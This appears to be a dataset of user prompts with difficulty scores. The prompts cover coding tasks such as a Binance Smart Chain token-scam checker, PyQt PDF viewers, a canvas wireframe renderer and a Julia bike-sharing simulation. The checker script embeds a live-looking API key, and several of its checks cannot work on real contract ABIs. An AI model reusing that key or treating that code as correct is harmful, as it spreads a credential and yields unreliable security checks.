row_id
int64 0
48.4k
| init_message
stringlengths 1
342k
| conversation_hash
stringlengths 32
32
| scores
dict |
|---|---|---|---|
9,339
|
import sys
import json
import requests
from web3 import Web3
# Define your Binance Smart Chain node URL here
BSC_URL = 'https://bsc-dataseed1.binance.org'
# Connect to Binance Smart Chain node
w3 = Web3(Web3.HTTPProvider(BSC_URL))
# Check if connected to Binance Smart Chain node
if not w3.is_connected():
print("Not connected to the Binance Smart Chain node.")
sys.exit()
def check_mint_vulnerability(abi):
for item in abi:
if item['type'] == 'function' and item['name'] == 'mint':
if 'internal' not in item['stateMutability']:
return True
return False
def check_transfer_fee_vulnerability(abi):
for item in abi:
if item['type'] == 'function' and item['name'] == 'transfer':
for input in item['inputs']:
if input['name'] == '_fee':
fee = int(input['value'])
if fee > 10:
return True
return False
def check_ownable_vulnerability(abi):
for item in abi:
if item['type'] == 'function' and item['name'] == 'transferOwnership':
if 'ownable' not in item.get('function_signature', ''):
return True
return False
def check_renounce_ownership_vulnerability(abi):
for item in abi:
if item['type'] == 'function' and item['name'] == 'transferOwnership':
if item.get('function_signature', '') == 'renounceOwnership()':
return True
return False
def check_unusual_mappings_params(abi):
unusual_mappings_params = ["lastClaimTimes", "excludedFromDividends", "tokenHoldersMap", "_isExcludedFromMaxWallet", "_isExcludedFromMaxTx",
"_slipfeDeD", "_mAccount", "_release", "_sellSumETH", "_sellSum", "_buySum", "_marketersAndDevs",
"balanceOf", "canSale", "_onSaleNum", "_intAddr", "cooldownTimer"]
for item in abi:
for unusual in unusual_mappings_params:
if unusual in item.get("name", ""):
return True
return False
def check_suspicious_encodePacked_calls(abi):
suspicious_calls = ["encodePacked"]
for item in abi:
for suspicious in suspicious_calls:
if suspicious in item.get("function_signature", ""):
return True
return False
def check_hidden_address_usage(abi):
hidden_addresses = ["TrustSwap", "receiveAddress", "deployer", "BSCGas", "Pancakeswap", "HecoGas", "MDEXBSC",
"EtherGas", "Uniswap", "SnailExclusive", "rewardToken", "VERSOIN", "UniswapV2Router", "_otherAddress",
"onlyAddress", "deadAddress", "allowedSeller", "dexContract", "pancakeRouterAddress"]
for item in abi:
for hidden in hidden_addresses:
if hidden in item.get("name", ""):
return True
return False
def check_onlyOwner_modifier_usage(abi):
onlyOwner_functions = ["setSwapTokensAtAmount", "setSwapEnabled", "enableTrading", "changeTreasuryWallet", "changeStakingWallet", "changeMarketingWallet",
"updateFees", "claimStuckTokens", "resetTaxAmount", "updatePoolWallet", "updateCharityWallet", "updateMarketingWallet", "setAutomatedMarketMakerPair",
"updateSellFees", "updateBuyFees", "updateRescueSwap", "updateSwapEnabled", "airdropToWallets", "enableTrading", "setDeadWallet", "setSwapTokensAtAmount",
"swapManual", "updateGasForProcessing", "setAutomatedMarketMakerPair", "setMarketingWallet", "setKing", "setAirdropNumbs", "updateUniswapV2Router",
"processAccount", "setBalance", "updateMinimumTokenBalanceForDividends", "updateClaimWait", "distributeCAKEDividends", "disableSelling", "enableSelling"]
for item in abi:
for onlyOwner in onlyOwner_functions:
if onlyOwner in item.get("name", "") and "onlyOwner" in item.get("modifiers", []):
return True
return False
def analyze_contract(contract_address):
contract_address = Web3.to_checksum_address(contract_address)
try:
# Get contract ABI from BCSCAN API
abi_response = requests.get(f'https://api.bscscan.com/api?module=contract&action=getabi&address={contract_address}&apikey=CXTB4IUT31N836G93ZI3YQBEWBQEGGH5QS')
abi = json.loads(abi_response.text)['result']
abi = json.loads(abi)
# Create contract instance
contract = w3.eth.contract(address=contract_address, abi=abi)
# Analyze mint vulnerability
if check_mint_vulnerability(abi):
print("Mint function with potential vulnerability found.")
else:
print("Mint vulnerability not found.")
# Analyze transfer fee vulnerability
if check_transfer_fee_vulnerability(abi):
print("High transfer fee vulnerability found.")
else:
print("High transfer fee vulnerability not found.")
# Analyze ownable vulnerability
if check_ownable_vulnerability(abi):
print("Ownable vulnerability found.")
else:
print("Ownable vulnerability not found.")
# Analyze renounce ownership vulnerability
if check_renounce_ownership_vulnerability(abi):
print("Renounce ownership vulnerability found.")
else:
print("Renounce ownership vulnerability not found.")
# Additional vulnerability checks
if check_unusual_mappings_params(abi):
print("Unusual mappings or params found.")
else:
print("Unusual mappings or params not found.")
if check_suspicious_encodePacked_calls(abi):
print("Suspicious encodePacked calls found.")
else:
print("Suspicious encodePacked calls not found.")
if check_hidden_address_usage(abi):
print("Hidden address usage found.")
else:
print("Hidden address usage not found.")
if check_onlyOwner_modifier_usage(abi):
print("OnlyOwner modifier usage found.")
else:
print("OnlyOwner modifier usage not found.")
except Exception as e:
print("Error occurred while analyzing the contract:", e)
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python rugcheck_bsc.py[contract_address]")
sys.exit()
contract_address = sys.argv[1]
analyze_contract(contract_address)
Add the above code so that it, like Rugcheck by Moonarch.app, can detect vulnerabilities in the contract code as a result of which Rugcheck by Moonarch.app displays the following warnings
_checkOwner restricts calls to an address, check it
withdraw might contain a hidden owner check, check it
withdraw restricts calls to an address, check it
Unusual mapping name minter, check usage
Unusual mapping name disabled, check usage
Unusual mapping name isWhiteList, check usage
Check usage of address erc20Token
setStakePool has onlyOwner modifier
batchDisableWallet has onlyOwner modifier
setAddress has onlyOwner modifier
disableWallet has onlyOwner modifier
setFees can probably change the fees
setEnabledSwap has onlyOwner modifier
multiSetWhiteList has onlyOwner modifier
multiSetFeeExempt has onlyOwner modifier
Check usage of address marketingFeeReceiver
Check usage of address dbToken
Check usage of address basePair
Check usage of address baseToken
Has deployed at least 4 other contracts
|
06e0a6f10923a5878ae50356a1a09dde
|
{
"intermediate": 0.31544309854507446,
"beginner": 0.4674670100212097,
"expert": 0.2170899212360382
}
|
9,340
|
I have 3 divs in Flex div i want the position of the last be in the right of the parent div while the two other divs stays in left with small gap between them css
|
30c4f549cbce0abb3d4085b05c9cfb19
|
{
"intermediate": 0.4137279689311981,
"beginner": 0.2514611482620239,
"expert": 0.3348108232021332
}
|
9,341
|
Please give me an outline for a questionnaire relating to what monitor a participant is currently using. It should use questions that a general population can answer.
|
81519b0990ad4de73e5b3510e6f8c568
|
{
"intermediate": 0.3115285336971283,
"beginner": 0.4140678644180298,
"expert": 0.27440351247787476
}
|
9,342
|
this is a programm - import sys
from PyQt5.QtWidgets import QWidget, QApplication, QHBoxLayout, QVBoxLayout, QLabel, QLineEdit, QPushButton, QMessageBox, QFileDialog
from PyQt5.QtCore import QSize, Qt
class TextInputWidget(QWidget):
def __init__(self):
super().__init__()
self.initUI()
def sizeHint(self):
return QSize(500, 500)
def initUI(self):
self.text_label = QLabel('Enter the text to be saved:')
self.text_input = QLineEdit(self)
self.filename_label = QLabel('Enter the name of the file:')
self.filename_input = QLineEdit(self)
self.save_button = QPushButton('Save', self)
self.save_button.clicked.connect(self.save_text)
hbox1 = QHBoxLayout()
hbox1.addWidget(self.text_label)
hbox1.addWidget(self.text_input)
hbox2 = QHBoxLayout()
hbox2.addWidget(self.filename_label)
hbox2.addWidget(self.filename_input)
hbox3 = QHBoxLayout()
hbox3.addWidget(self.save_button)
# Add drag and drop input
self.drop_label = QLabel('Drag and drop a file here')
self.drop_label.setAlignment(Qt.AlignCenter)
self.drop_label.setAcceptDrops(True)
self.drop_label.setStyleSheet('''
border: 4px dashed #aaa;
border-radius: 10px;
font-size: 18px;
padding: 10px;
''')
self.drop_label.setMinimumSize(400, 200)
self.drop_label.dragEnterEvent = self.dragEnterEvent
self.drop_label.dropEvent = self.dropEvent
# Add button to display filename
self.show_file_button = QPushButton('Show File Name', self)
self.show_file_button.clicked.connect(self.show_filename)
vbox = QVBoxLayout()
vbox.addLayout(hbox1)
vbox.addLayout(hbox2)
vbox.addLayout(hbox3)
vbox.addWidget(self.drop_label)
vbox.addWidget(self.show_file_button)
self.setLayout(vbox)
#self.setMinimumSize(QSize(600, 200))
def save_text(self):
text = self.text_input.text()
filename = self.filename_input.text()
with open(filename, 'w') as f:
f.write(text)
QMessageBox.information(self, 'Success', f'Text saved successfully to {filename}')
def dragEnterEvent(self, event):
if event.mimeData().hasUrls():
event.accept()
else:
event.ignore()
def dropEvent(self, event):
for url in event.mimeData().urls():
filename = url.toLocalFile()
self.filename_input.setText(filename)
def show_filename(self):
filename = self.filename_input.text()
QMessageBox.information(self, 'File Name', filename)
if __name__ == "__main__":
app = QApplication(sys.argv)
input_widget = TextInputWidget()
input_widget.show()
sys.exit(app.exec_())
|
71c5f8889eae59b3e8bff96eb3146c2b
|
{
"intermediate": 0.437534898519516,
"beginner": 0.4465979039669037,
"expert": 0.11586721986532211
}
|
9,343
|
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
def get_data(m,k,pl_real,put_real):
df = pd.read_excel(r'C:/Users/陈赞/Desktop/data7.xls')
pl = 0 # 第pl列
window_size = m # 滑动窗口大小
threshold = 2 # 阈值
# 创建新列
df['count_exceed_threshold'] = 0
# 统计数量并添加到新列
for i in range(len(df) - window_size + 1):
group = df.iloc[i:i+window_size, pl] # 获取滑动窗口内的数据
count = (group > threshold).sum() # 统计超过阈值的数量
df.at[i+window_size-1, 'count_exceed_threshold'] = count
df['open_position'] = 0 # 初始化为0
df['open_position2'] = 0 # 初始化为0
df['open_position3'] = 0 # 初始化为0
can_open = False # 是否能开仓的标志
pl_values = [] # 提取的赔率值列表
for i, row in df.iterrows():
if can_open:
if row['count_exceed_threshold'] >= k:
pl_values.append(row['pl'])
df.at[i, 'open_position'] = 1
else:
can_open = False
else:
if row['count_exceed_threshold'] >= k:
pl_values.append(row['pl'])
df.at[i, 'open_position'] = 1
can_open = True
# 计算open_position2列的数值
df['open_position2'] = (df['open_position'].rolling(window=2).sum() >= 2).astype(int)
df['open_position3'] =df['open_position2'].shift(1)
df = df[df['open_position3'] == 1].copy()
# 删除 open_position 列
df = df.drop('open_position3', axis=1)
realized_roe=[]
data=[]
'''
pl_real=2.2
put_real=2.7
'''
'''
pl_real=2.3
put_real=15
'''
'''
pl_real=2.3
put_real=15
'''
'''
pl_real=2
put_real=11.6
'''
#pl_real=2
#put_real=11.6
bj=300
per=300
df['本单盈利']=0
df['账户余额']=0
for x in range(0,len(df)):
if pl_real<=df['pl'].iloc[x] :
realized_roe.append(pl_real*put_real-put_real)
df['本单盈利'].iloc[x]=pl_real*put_real-put_real
df['账户余额'].iloc[x]=bj+pl_real*put_real-put_real
bj+=pl_real*put_real-put_real
elif pl_real>df['pl'].iloc[x]:
realized_roe.append(-1*put_real)
df['本单盈利'].iloc[x]=-1*put_real
df['账户余额'].iloc[x]=bj-1*put_real
bj+=-1*put_real
roe=df['账户余额'].iloc[-1]-per
print('累计盈利:'+str(roe))
return roe
a=[]
plshangxian = 5
plxiaxian = 1
jineshangxian = 20
for pl_fake in range(plxiaxian * 10, plshangxian * 10):
pl_real = pl_fake / 10
if pl_real == 1:
continue
for put_fake in range(int(1.5 * 10), int(jineshangxian * 10) + 1, int(0.1 * 10)):
put_real = put_fake / 10
for m in range(0,100):
for k in range(10,30):
try:
roe=get_data(m,k,pl_real,put_real)
a.append([m,k,roe,pl_real,put_real])
except:
continue
sorted_data = sorted(a, key=lambda x: x[2], reverse=True) 帮我改代码,实现一样的效果,提高运算速度,可以不使用datafrmae,你可以使用多线程,反正方法不限制你,但是需要最快运行
|
6c87de384a32920e09b366c81f85da9b
|
{
"intermediate": 0.4813845455646515,
"beginner": 0.33849120140075684,
"expert": 0.18012425303459167
}
|
9,344
|
what is the connection string for opencensus.ext.azure.log_exporter AzureLogHandler in azure ml ?
|
b2ad19edcd94b62c566b463a79ffd69c
|
{
"intermediate": 0.6756136417388916,
"beginner": 0.182504341006279,
"expert": 0.1418820470571518
}
|
9,345
|
modify code add library pypdf2 to show and work with pdf. code - import sys
from PyQt5.QtWidgets import QWidget, QApplication, QHBoxLayout, QVBoxLayout, QLabel, QLineEdit, QPushButton, QMessageBox, QFileDialog
from PyQt5.QtCore import QSize, Qt, QUrl
from PyQt5.QtWebEngineWidgets import QWebEngineView
class TextInputWidget(QWidget):
def __init__(self):
super().__init__()
self.initUI()
def sizeHint(self):
return QSize(800, 600)
def initUI(self):
self.text_label = QLabel('Enter the text to be saved:')
self.text_input = QLineEdit(self)
self.filename_label = QLabel('Enter the name of the file:')
self.filename_input = QLineEdit(self)
self.save_button = QPushButton('Save', self)
self.save_button.clicked.connect(self.save_text)
hbox1 = QHBoxLayout()
hbox1.addWidget(self.text_label)
hbox1.addWidget(self.text_input)
hbox2 = QHBoxLayout()
hbox2.addWidget(self.filename_label)
hbox2.addWidget(self.filename_input)
hbox3 = QHBoxLayout()
hbox3.addWidget(self.save_button)
# Add drag and drop input
self.drop_label = QLabel('Drag and drop a file here')
self.drop_label.setAlignment(Qt.AlignCenter)
self.drop_label.setAcceptDrops(True)
self.drop_label.setStyleSheet('''
border: 4px dashed #aaa;
border-radius: 10px;
font-size: 18px;
padding: 10px;
''')
self.drop_label.setMinimumSize(400, 200)
self.drop_label.dragEnterEvent = self.dragEnterEvent
self.drop_label.dropEvent = self.dropEvent
# Add button to display filename
self.show_file_button = QPushButton('Show File Name', self)
self.show_file_button.clicked.connect(self.show_filename)
# Add QWebEngineView to display PDF
self.pdf_view = QWebEngineView(self)
self.pdf_view.setMinimumSize(800, 600)
# Add buttons to navigate through PDF pages
self.prev_page_button = QPushButton('<', self)
self.prev_page_button.clicked.connect(self.prev_page)
self.next_page_button = QPushButton('>', self)
self.next_page_button.clicked.connect(self.next_page)
vbox = QVBoxLayout()
vbox.addLayout(hbox1)
vbox.addLayout(hbox2)
vbox.addLayout(hbox3)
vbox.addWidget(self.drop_label)
vbox.addWidget(self.show_file_button)
vbox.addWidget(self.pdf_view)
vbox.addWidget(self.prev_page_button)
vbox.addWidget(self.next_page_button)
self.setLayout(vbox)
#self.setMinimumSize(QSize(600, 200))
def save_text(self):
text = self.text_input.text()
filename = self.filename_input.text()
with open(filename, 'w') as f:
f.write(text)
QMessageBox.information(self, 'Success', f'Text saved successfully to {filename}')
def dragEnterEvent(self, event):
if event.mimeData().hasUrls() and event.mimeData().urls()[0].toString().endswith('.pdf'):
event.accept()
else:
event.ignore()
def dropEvent(self, event):
if event.mimeData().hasUrls() and event.mimeData().urls()[0].toString().endswith('.pdf'):
url = event.mimeData().urls()[0]
filename = url.toLocalFile()
self.filename_input.setText(filename)
self.pdf_view.load(QUrl.fromLocalFile(filename))
def show_filename(self):
filename = self.filename_input.text()
QMessageBox.information(self, 'File Name', filename)
def prev_page(self):
QMessageBox.information(self, 'Success', f'prev successfully to')
self.pdf_view.page().runJavaScript('window.history.back()')
def next_page(self):
QMessageBox.information(self, 'Success', f'next successfully to')
self.pdf_view.page().runJavaScript('window.history.forward()')
if __name__ == "__main__":
app = QApplication(sys.argv)
input_widget = TextInputWidget()
input_widget.show()
sys.exit(app.exec_())
|
961b852b618feb6deba66ece31004b9c
|
{
"intermediate": 0.3350374400615692,
"beginner": 0.47279199957847595,
"expert": 0.19217056035995483
}
|
9,346
|
is there any way to visually draw a 3d matrix in some 2d canvas and then simply apply it on the fly to an array to represent and change current wireframe figure? because human cannot interact with an array of 3d matrix numbers, because it's inhuman.: const canvas = document.createElement('canvas');
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
document.body.appendChild(canvas);
const ctx = canvas.getContext('2d');
const vertices = [
[0, 0, 0],
[0, 1, 0],
[1, 1, 0],
[1, 0, 0],
[0, 0, 1],
[0, 1, 1],
[1, 1, 1],
[1, 0, 1],
[0.5, 1.5, 0.5], // top of head
[0.5, -0.1, 0.5], // bottom of head
[0.2, 0.3, 0.3], // eye 1
[0.8, 0.3, 0.3], // eye 2
[0.3, 0.7, 0.6], // nose
];
const edges = [
[0, 1],
[1, 2],
[2, 3],
[3, 0],
[0, 4],
[1, 5],
[2, 6],
[3, 7],
[4, 5],
[5, 6],
[6, 7],
[7, 4],
[8, 9], // connecting top and bottom of head
[9, 2], // edge of head
[8, 1], // edge of head
[10, 11], // eye 1
[11, 12], // eye 2
[12, 10], // connect eyes
[8, 11], // connect eye to top of head
[9, 12], // connect eye to bottom of head
[13, 7], // nose
[6, 10], // nose
[13, 11], // nose
[4, 12] // nose
];
// Transformation parameters
const scale = 0.025;
const zoom = 1;
const offsetX = 0.5;
const offsetY = 0.5;
function rotateX(angle) {
const c = Math.cos(angle);
const s = Math.sin(angle);
return [
[1, 0, 0],
[0, c, -s],
[0, s, c],
];
}
function rotateY(angle) {
const c = Math.cos(angle);
const s = Math.sin(angle);
return [
[c, 0, s],
[0, 1, 0],
[-s, 0, c],
];
}
function rotateZ(angle) {
const c = Math.cos(angle);
const s = Math.sin(angle);
return [
[c, -s, 0],
[s, c, 0],
[0, 0, 1],
];
}
function project(vertex, scale, offsetX, offsetY, zoom) {
const [x, y, z] = vertex;
const posX = (x - offsetX) * scale;
const posY = (y - offsetY) * scale;
const posZ = z * scale;
return [
(posX * (zoom + posZ) + canvas.width / 2),
(posY * (zoom + posZ) + canvas.height / 2),
];
}
function transform(vertex, rotationMatrix) {
const [x, y, z] = vertex;
const [rowX, rowY, rowZ] = rotationMatrix;
return [
x * rowX[0] + y * rowX[1] + z * rowX[2],
x * rowY[0] + y * rowY[1] + z * rowY[2],
x * rowZ[0] + y * rowZ[1] + z * rowZ[2],
];
}
function extraterrestrialTransformation(vertex, frequency, amplitude) {
const [x, y, z] = vertex;
const cosX = (Math.cos(x * frequency) * amplitude);
const cosY = (Math.cos(y * frequency) * amplitude);
const cosZ = (Math.cos(z * frequency) * amplitude);
return [x + cosX, y + cosY, z + cosZ];
}
let angleX = 0;
let angleY = 0;
let angleZ = 0;
function getDeviation(maxDeviation) {
const t = Date.now() / 1000;
const frequency = 100 / 5;
const amplitude = maxDeviation / 0.5;
const deviation = Math.sin(t * frequency) * amplitude;
return deviation.toFixed(3);
}
function render() {
ctx.fillStyle = '#FFF';
ctx.fillRect(0, 0, canvas.width, canvas.height);
const rotX = rotateX(angleX);
const rotY = rotateY(angleY);
const rotZ = rotateZ(angleZ);
// Extraterrestrial transformation parameters
const frequency = 1;
const amplitude = 0.8;
const transformedVertices = vertices.map(vertex => {
const extraterrestrialVertex = extraterrestrialTransformation(vertex, frequency, amplitude);
const cx = extraterrestrialVertex[0] - offsetX;
const cy = extraterrestrialVertex[1] - offsetY;
const cz = extraterrestrialVertex[2] - offsetY;
const rotated = transform(transform(transform([cx, cy, cz], rotX), rotY), rotZ);
return [
rotated[0] + offsetX,
rotated[1] + offsetY,
rotated[2] + offsetY,
];
});
const projectedVertices = transformedVertices.map(vertex => project(vertex, canvas.height * scale, offsetX, offsetY, zoom));
ctx.lineWidth = 2;
ctx.strokeStyle = 'hsla(' + (angleX + angleY) * 100 + ', 100%, 50%, 0.8)';
ctx.beginPath();
for (let edge of edges) {
const [a, b] = edge;
if (projectedVertices[a] === undefined || projectedVertices[b] === undefined) {
continue;
}
const [x1, y1] = projectedVertices[a];
const [x2, y2] = projectedVertices[b];
const dist = Math.sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2);
const angle = Math.atan2(y2 - y1, x2 - x1);
const cpDist = 0.01 * dist;
const cpX = (x1 + x2) / 2 + cpDist * Math.cos(angle - Math.PI / 2) * getDeviation(2);
const cpY = (y1 + y2) / 2 + cpDist * Math.sin(angle - Math.PI / 2) * getDeviation(2);
ctx.moveTo(x1, y1);
ctx.quadraticCurveTo(cpX, cpY, x2, y2);
}
ctx.stroke();
angleX += +getDeviation(0.02);
angleY += +getDeviation(0.02);
angleZ += +getDeviation(0.02);
requestAnimationFrame(render);
}
requestAnimationFrame(render);
window.addEventListener("resize", () => {
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
});
|
67f6f7a416af5ddd2245b3b4ddfc887a
|
{
"intermediate": 0.2762407064437866,
"beginner": 0.5047139525413513,
"expert": 0.21904537081718445
}
|
9,347
|
is there any way to visually draw a 3d matrix in some 2d canvas and then simply apply it on the fly to an array to represent and change current wireframe figure? because human cannot interact with an array of 3d matrix numbers, because it's inhuman.: const canvas = document.createElement('canvas');
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
document.body.appendChild(canvas);
const ctx = canvas.getContext('2d');
const vertices = [
[0, 0, 0],
[0, 1, 0],
[1, 1, 0],
[1, 0, 0],
[0, 0, 1],
[0, 1, 1],
[1, 1, 1],
[1, 0, 1],
[0.5, 1.5, 0.5], // top of head
[0.5, -0.1, 0.5], // bottom of head
[0.2, 0.3, 0.3], // eye 1
[0.8, 0.3, 0.3], // eye 2
[0.3, 0.7, 0.6], // nose
];
const edges = [
[0, 1],
[1, 2],
[2, 3],
[3, 0],
[0, 4],
[1, 5],
[2, 6],
[3, 7],
[4, 5],
[5, 6],
[6, 7],
[7, 4],
[8, 9], // connecting top and bottom of head
[9, 2], // edge of head
[8, 1], // edge of head
[10, 11], // eye 1
[11, 12], // eye 2
[12, 10], // connect eyes
[8, 11], // connect eye to top of head
[9, 12], // connect eye to bottom of head
[13, 7], // nose
[6, 10], // nose
[13, 11], // nose
[4, 12] // nose
];
// Transformation parameters
const scale = 0.025;
const zoom = 1;
const offsetX = 0.5;
const offsetY = 0.5;
function rotateX(angle) {
const c = Math.cos(angle);
const s = Math.sin(angle);
return [
[1, 0, 0],
[0, c, -s],
[0, s, c],
];
}
function rotateY(angle) {
const c = Math.cos(angle);
const s = Math.sin(angle);
return [
[c, 0, s],
[0, 1, 0],
[-s, 0, c],
];
}
function rotateZ(angle) {
const c = Math.cos(angle);
const s = Math.sin(angle);
return [
[c, -s, 0],
[s, c, 0],
[0, 0, 1],
];
}
function project(vertex, scale, offsetX, offsetY, zoom) {
const [x, y, z] = vertex;
const posX = (x - offsetX) * scale;
const posY = (y - offsetY) * scale;
const posZ = z * scale;
return [
(posX * (zoom + posZ) + canvas.width / 2),
(posY * (zoom + posZ) + canvas.height / 2),
];
}
function transform(vertex, rotationMatrix) {
const [x, y, z] = vertex;
const [rowX, rowY, rowZ] = rotationMatrix;
return [
x * rowX[0] + y * rowX[1] + z * rowX[2],
x * rowY[0] + y * rowY[1] + z * rowY[2],
x * rowZ[0] + y * rowZ[1] + z * rowZ[2],
];
}
function extraterrestrialTransformation(vertex, frequency, amplitude) {
const [x, y, z] = vertex;
const cosX = (Math.cos(x * frequency) * amplitude);
const cosY = (Math.cos(y * frequency) * amplitude);
const cosZ = (Math.cos(z * frequency) * amplitude);
return [x + cosX, y + cosY, z + cosZ];
}
let angleX = 0;
let angleY = 0;
let angleZ = 0;
function getDeviation(maxDeviation) {
const t = Date.now() / 1000;
const frequency = 100 / 5;
const amplitude = maxDeviation / 0.5;
const deviation = Math.sin(t * frequency) * amplitude;
return deviation.toFixed(3);
}
function render() {
ctx.fillStyle = '#FFF';
ctx.fillRect(0, 0, canvas.width, canvas.height);
const rotX = rotateX(angleX);
const rotY = rotateY(angleY);
const rotZ = rotateZ(angleZ);
// Extraterrestrial transformation parameters
const frequency = 1;
const amplitude = 0.8;
const transformedVertices = vertices.map(vertex => {
const extraterrestrialVertex = extraterrestrialTransformation(vertex, frequency, amplitude);
const cx = extraterrestrialVertex[0] - offsetX;
const cy = extraterrestrialVertex[1] - offsetY;
const cz = extraterrestrialVertex[2] - offsetY;
const rotated = transform(transform(transform([cx, cy, cz], rotX), rotY), rotZ);
return [
rotated[0] + offsetX,
rotated[1] + offsetY,
rotated[2] + offsetY,
];
});
const projectedVertices = transformedVertices.map(vertex => project(vertex, canvas.height * scale, offsetX, offsetY, zoom));
ctx.lineWidth = 2;
ctx.strokeStyle = 'hsla(' + (angleX + angleY) * 100 + ', 100%, 50%, 0.8)';
ctx.beginPath();
for (let edge of edges) {
const [a, b] = edge;
if (projectedVertices[a] === undefined || projectedVertices[b] === undefined) {
continue;
}
const [x1, y1] = projectedVertices[a];
const [x2, y2] = projectedVertices[b];
const dist = Math.sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2);
const angle = Math.atan2(y2 - y1, x2 - x1);
const cpDist = 0.01 * dist;
const cpX = (x1 + x2) / 2 + cpDist * Math.cos(angle - Math.PI / 2) * getDeviation(2);
const cpY = (y1 + y2) / 2 + cpDist * Math.sin(angle - Math.PI / 2) * getDeviation(2);
ctx.moveTo(x1, y1);
ctx.quadraticCurveTo(cpX, cpY, x2, y2);
}
ctx.stroke();
angleX += +getDeviation(0.02);
angleY += +getDeviation(0.02);
angleZ += +getDeviation(0.02);
requestAnimationFrame(render);
}
requestAnimationFrame(render);
window.addEventListener("resize", () => {
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
});
|
a9e1cba712b49e4cb13787fe92e6c9bb
|
{
"intermediate": 0.2762407064437866,
"beginner": 0.5047139525413513,
"expert": 0.21904537081718445
}
|
9,348
|
<svg-icon
name=“cached”
width=“22px”
height=“16px”
class=“cashed”
@click=“reloadPage”
placeholder=“Обновить страницу”
/>
Как вывести текст “Обновить страницу”, при наведении на svg-icon?
|
ce9e7c445cb4f8e277465f047cb8486c
|
{
"intermediate": 0.3545531928539276,
"beginner": 0.23365716636180878,
"expert": 0.41178959608078003
}
|
9,349
|
app in qt5. we open pdf file by pypdf2. write code to show 1 or other page in qt
|
43a9d4416eb4530cf3de0135b9d18761
|
{
"intermediate": 0.47320184111595154,
"beginner": 0.25696274638175964,
"expert": 0.26983538269996643
}
|
9,350
|
write the code for this problem for matlab
I have a matrix called A which contains 3 columns and n rows. In the first column, the date of the day is from the first of June to the end of September. In the second column, there are 24 hours for each day. And the last column shows the amount of cooling load. I want the data from 21:00 to 06:00 tomorrow to be equal to zero for each day.
|
f4fc8aa9770d3106e268a8aeadda0f31
|
{
"intermediate": 0.4194542169570923,
"beginner": 0.22659488022327423,
"expert": 0.35395097732543945
}
|
9,351
|
This code:
liczba_rowerow_na_stacji = [10, 10, 10, 10, 10]
brak_roweru = [0, 0, 0, 0, 0]
overrun = [0, 0, 0, 0, 0]
czas = 0
popyt_stacji = [0.3, 0.3, 0.2, 0.1, 0.1]
prawdopodobienstwo_stacji = [
0.05 0.45 0.3 0.1 0.1;
0.43 0.07 0.1 0.2 0.2;
0.34 0.2 0.06 0.2 0.2;
0.2 0.2 0.2 0.05 0.35;
0.1 0.1 0.1 0.67 0.03]
ongoing = [] # Keep track of ongoing journeys
wynik_sim_init = [liczba_rowerow_na_stacji, brak_roweru, overrun, czas]
function single_sim(wynik_sim = wynik_sim_init,
prawdopodobienstwo_stacji = prawdopodobienstwo_stacji,
popyt_stacji = popyt_stacji,
czas_przejazdu = 1,
ongoing_journeys = ongoing)
# First update ongoing journeys
for i in length(ongoing_journeys):-1:1
journey = ongoing_journeys[i]
journey[3] -= czas_przejazdu
if journey[3] <= 0
# The journey is completed
wynik_sim[1][journey[2]] += 1 # Add the bike to the destination station
if wynik_sim[1][journey[2]] >= 15
wynik_sim[3][journey[2]] += 1
wynik_sim[1][journey[2]] -= 3
wynik_sim[1][argmin(wynik_sim[1])] += 3
end
# Remove the journey from the ongoing_journeys list
splice!(ongoing_journeys, i)
end
end
stacja_odebrania = rand(Categorical(popyt_stacji))
stacja_oddania = rand(Categorical(prawdopodobienstwo_stacji[stacja_odebrania, :]))
if wynik_sim[1][stacja_odebrania] >= 1
wynik_sim[1][stacja_odebrania] -= 1 # Remove a bike from the pickup station
journey = [stacja_odebrania, stacja_oddania, czas_przejazdu]
push!(ongoing_journeys, journey) # Add the journey to the ongoing_journeys list
else
wynik_sim[2][stacja_odebrania] += 1 # Increase the number of unavailable bikes
end
wynik_sim[4] += czas_przejazdu
return wynik_sim
end
function run_day(liczba_dzienna,
wynik_sim = wynik_sim_init,
prawdopodobienstwo_stacji = prawdopodobienstwo_stacji,
czas_przejazdu = 1)
wynik_sim_init = deepcopy(wynik_sim)
for i in range(1, liczba_dzienna)
wynik_sim = single_sim(wynik_sim_init, prawdopodobienstwo_stacji, popyt_stacji, czas_przejazdu)
end
return wynik_sim
end
function run_sims(liczba_sim = 30,
liczba_dzienna = 40,
wynik_sim = wynik_sim_init,
prawdopodobienstwo_stacji = prawdopodobienstwo_stacji,
czas_przejazdu = 1)
wynik_sim_init = deepcopy(wynik_sim)
wyniki_okresu = DataFrame(dzien=Int[], czas=Float64[], nr_stacji=Int[],
liczba_na_koniec_dnia = Int[], braki_na_koniec_dnia = Int[], przewoz=Int[])
for i in range(1, liczba_sim)
wynik_dnia = run_day(liczba_dzienna, wynik_sim, prawdopodobienstwo_stacji, czas_przejazdu)
temp_df = DataFrame(dzien=fill(i,5), czas=fill(wynik_dnia[4],5), nr_stacji=1:5,
liczba_na_koniec_dnia=wynik_dnia[1], braki_na_koniec_dnia=wynik_dnia[2], przewoz=wynik_dnia[3])
wyniki_okresu = vcat(wyniki_okresu, temp_df)
wynik_sim = wynik_sim_init
end
wynik_sim = wynik_sim_init
return wyniki_okresu
end
wynik_sim_init = [deepcopy(liczba_rowerow_na_stacji), deepcopy(brak_roweru), deepcopy(overrun), czas]
wyniki_okresu = run_sims()
Gives this resluts:
Row dzien czas nr_stacji liczba_na_koniec_dnia braki_na_koniec_dnia przewoz
Int64 Float64 Int64 Int64 Int64 Int64
1 1 40.0 1 12 0 0
2 1 40.0 2 4 0 0
3 1 40.0 3 8 0 0
4 1 40.0 4 12 0 0
5 1 40.0 5 13 0 1
6 2 40.0 1 9 0 0
7 2 40.0 2 13 0 0
8 2 40.0 3 8 0 0
9 2 40.0 4 13 0 1
10 2 40.0 5 7 0 0
11 3 40.0 1 13 0 0
12 3 40.0 2 4 0 0
13 3 40.0 3 6 0 0
⋮ ⋮ ⋮ ⋮ ⋮ ⋮ ⋮
139 28 40.0 4 12 0 2
140 28 40.0 5 10 0 0
141 29 40.0 1 9 0 0
142 29 40.0 2 8 0 0
143 29 40.0 3 11 0 0
144 29 40.0 4 12 0 2
145 29 40.0 5 10 0 0
146 30 40.0 1 7 0 0
